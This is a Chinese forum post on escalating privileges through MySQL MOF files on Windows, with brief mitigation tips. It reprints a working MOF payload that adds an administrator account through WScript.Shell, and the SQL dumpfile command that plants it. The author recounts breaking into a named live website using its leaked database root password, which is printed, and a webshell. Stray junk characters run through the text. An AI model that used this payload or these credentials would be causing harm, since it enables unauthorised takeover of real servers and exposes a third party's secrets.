Mysql mof扩展漏洞实例与防范

admin

Mysql mof扩展漏洞防范方法

网上公开的一些利用代码:

#pragma namespace(“\\\\.\\root\\subscription”)

1 K- Z9 p" W/ w: Oinstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
( q; l% h2 ], n6 B# P
$ a$ i( r" h/ y( V/ X$ d* Z8 q
4 d( j$ C! N% u" }' I8 F. V
( A5 U  R& C" G. N. E9 o$ k/ A

: k7 b# b, H& s) Z/ R5 G连接mysql数据库后执行： select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
从上面代码来看得出解决办法：

1、mysql用户权限控制，禁止 “load_file”、”dumpfile”等函数

$ _% J: s& t4 @2、禁止使用”WScript.Shel”组件
" j" X  L; ]  a4 D
) b4 G8 Q9 |& N( _5 w+ V3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER

5 ^5 B% t( d  r/ y  Z# V' R) {  c当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
3 C8 m& X5 X4 F) g
9 n  K& ?. f/ l, U事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
9 @- j% x; `# F6 W# i1 j& F, M
+ }- j8 t. G1 w6 \4 A但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
0 F8 ~! o9 m/ m" ^3 t, H
' u2 B" J  B' ]- X' [: ^看懂了后就开始练手吧
+ i+ r1 g& r( h( T. [0 X3 `
% F) v7 J6 M& @+ i, X3 b9 phttp://www.webbmw.com/config/config_ucenter.php 一句话 a

5 @( Y; W0 n/ b( X$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。

于是直接用菜刀开搞

上马先

; g% w+ b# g  N+ F既然有了那些账号 之类的 于是我们就执行吧…….

小小的说下

在这里第1次执行未成功        原因未知
/ @2 P+ P& P) _6 n
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
- D) {% f! [; K5 y4 N2 d
* |9 Y% v' r8 ]- n  s2 R$ \#pragma namespace(“\\\\.\\root\\subscription”)

2 O# N' k9 l1 i# winstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
  L4 ]' i7 i0 C
我是将文件放到C:\WINDOWS\temp\1.mof

" t; _! i# B; e  [所以我们就改下执行的代码
0 \. h: f7 k2 {" D1 r: ^1 z
$ Q8 U( J% t) p9 l3 X+ p& Cselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;


. I& a  Q5 ]( Y0 ~5 W  B2 g, |
- t8 Y% W2 U; p但是 你会发现账号还是没有躺在那里。。
# C8 O. G4 E9 U; L
于是我就感觉蛋疼

就去一个一个去执行 但是执行到第2个 mysql时就成功了………
6 l' w& g8 S1 D  [  A' y


但是其他库均不成功…
" |4 V* E$ R9 W8 ?% m* n4 D
! Q/ z9 |$ e' \! |* l) e我就很费解呀 到底为什么不成功求大牛解答…
- Q; N! N' e+ `1 q2 R+ k
0 S9 O- b4 f' [: R6 }. Q; r​
( R* p0 o7 P3 P+ U3 X